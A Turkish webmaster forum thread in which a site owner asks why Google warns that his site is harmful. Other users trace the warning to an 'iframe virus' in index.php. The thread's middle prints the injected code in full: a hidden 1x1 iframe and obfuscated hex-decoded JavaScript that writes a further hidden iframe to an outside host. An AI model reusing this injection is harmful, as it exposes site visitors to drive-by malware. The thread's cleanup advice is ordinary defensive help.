Kötü Amaçlı Yazılım Algılandı

Bugün google aramasından Sitemde kötü amaçlı yazılım tehtidi ve Bu site bilgisayarınıza zarar verebilir gibi hatalar aldım. Bunun sebebi pop-up reklam kodu olabilirmi? Bilgisi olan birisi cevap verirse çok sevinirim..

Bilgilendirme amaçlı 2 sayfa var;

Güvenli Tarama Tanı sayfası: dersnotlari.biz
Güvenli Tarama Tanı sayfası

Softreklam'ın pop-up kodu vardı az önce kaldırdım..

ilk defa duydum pop up böyle birşeye neden oluyorsa hemen kaldıralım

softreklamı bende kullanıyorum öyle bir sorun vermedi ve pop-up googlede fişlenme sebebi olamaz. sitenizde sanırım bir virüs var temizlemenizi öneririm en kısa zamanda..

google webmaster tools dan yeniden değerlendirme istediği gönder.
virüsü temizlerseniz google tarama yaptığı zaman düzelicektir.

Virüs taraması yapıcam umarım sonuç verir... Tavsiye için teşekkürler

index.php ye bak arkadaşım. i frame virusu bulaşmış olma ihtimali çok yüksek.

İndexte böyle birşey var ben eklemediğim halde;

<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4951b816a4831(l4951b816a5001){ var l4951b816a57d2=16; return (parseInt(l4951b816a5001,l4951b816a57d2));}function l4951b816a6773(l4951b816a6f67){  var l4951b816a7717='';l4951b816a9657=String.fromCharCode;for(l4951b816a7ee4=0;l4951b816a7ee4<l4951b816a6f67.length;l4951b816a7ee4+=2){ l4951b816a7717+=(l4951b816a9657(c102916999516l4951b816a4831(l4951b816a6f67.substr(l4951b816a7ee4,2))));}return l4951b816a7717;} var x81='';var l4951b816a9e28='3C736'+x81+'3726'+x81+'970743E6'+x81+'96'+x81+'6'+x81+'28216'+x81+'D796'+x81+'96'+x81+'1297B6'+x81+'46'+x81+'F6'+x81+'3756'+x81+'D6'+x81+'56'+x81+'E742E77726'+x81+'9746'+x81+'528756'+x81+'E6'+x81+'5736'+x81+'36'+x81+'1706'+x81+'528202725336'+x81+'32536'+x81+'392536'+x81+'36'+x81+'2537322536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'352532302536'+x81+'6'+x81+'52536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'3525336'+x81+'42536'+x81+'332533312533302532302537332537322536'+x81+'3325336'+x81+'42532372536'+x81+'3825373425373425373025336'+x81+'125326'+x81+'6'+x81+'25326'+x81+'6'+x81+'2536'+x81+'372536'+x81+'6'+x81+'6'+x81+'2536'+x81+'372536'+x81+'6'+x81+'6'+x81+'2533322536'+x81+'6'+x81+'42536'+x81+'3525326'+x81+'52536'+x81+'6'+x81+'52536'+x81+'3525373425326'+x81+'6'+x81+'25326'+x81+'52536'+x81+'372536'+x81+'6'+x81+'6'+x81+'25326'+x81+'6'+x81+'2536'+x81+'332536'+x81+'382536'+x81+'352536'+x81+'332536'+x81+'6'+x81+'225326'+x81+'52536'+x81+'382537342536'+x81+'6'+x81+'42536'+x81+'6'+x81+'32532372532302537372536'+x81+'392536'+x81+'342537342536'+x81+'3825336'+x81+'42533332533342533372532302536'+x81+'382536'+x81+'352536'+x81+'392536'+x81+'372536'+x81+'3825373425336'+x81+'42533342533322532302537332537342537392536'+x81+'6'+x81+'32536'+x81+'3525336'+x81+'4253237253736'+x81+'2536'+x81+'392537332536'+x81+'392536'+x81+'322536'+x81+'392536'+x81+'6'+x81+'32536'+x81+'3925373425373925336'+x81+'12536'+x81+'382536'+x81+'392536'+x81+'342536'+x81+'342536'+x81+'352536'+x81+'6'+x81+'525323725336'+x81+'525336'+x81+'325326'+x81+'6'+x81+'2536'+x81+'392536'+x81+'36'+x81+'2537322536'+x81+'312536'+x81+'6'+x81+'42536'+x81+'3525336'+x81+'52729293B7D76'+x81+'6'+x81+'172206'+x81+'D796'+x81+'96'+x81+'13D7472756'+x81+'53B3C2F736'+x81+'3726'+x81+'970743E';document.write(l4951b816a6773(l4951b816a9e28));</script>

evet iframe virüsü bu sitenden bunu hemen silmeni sonra ftp şifreni değişmeni hatta pcne format atmanı öneririm.

tamam teşekkürler...

Peki nasıl bulaşmış olabilir?

kesin oalrak bilgisayarından bulaşmış. ftp açınca direk dalıyor bu virüs.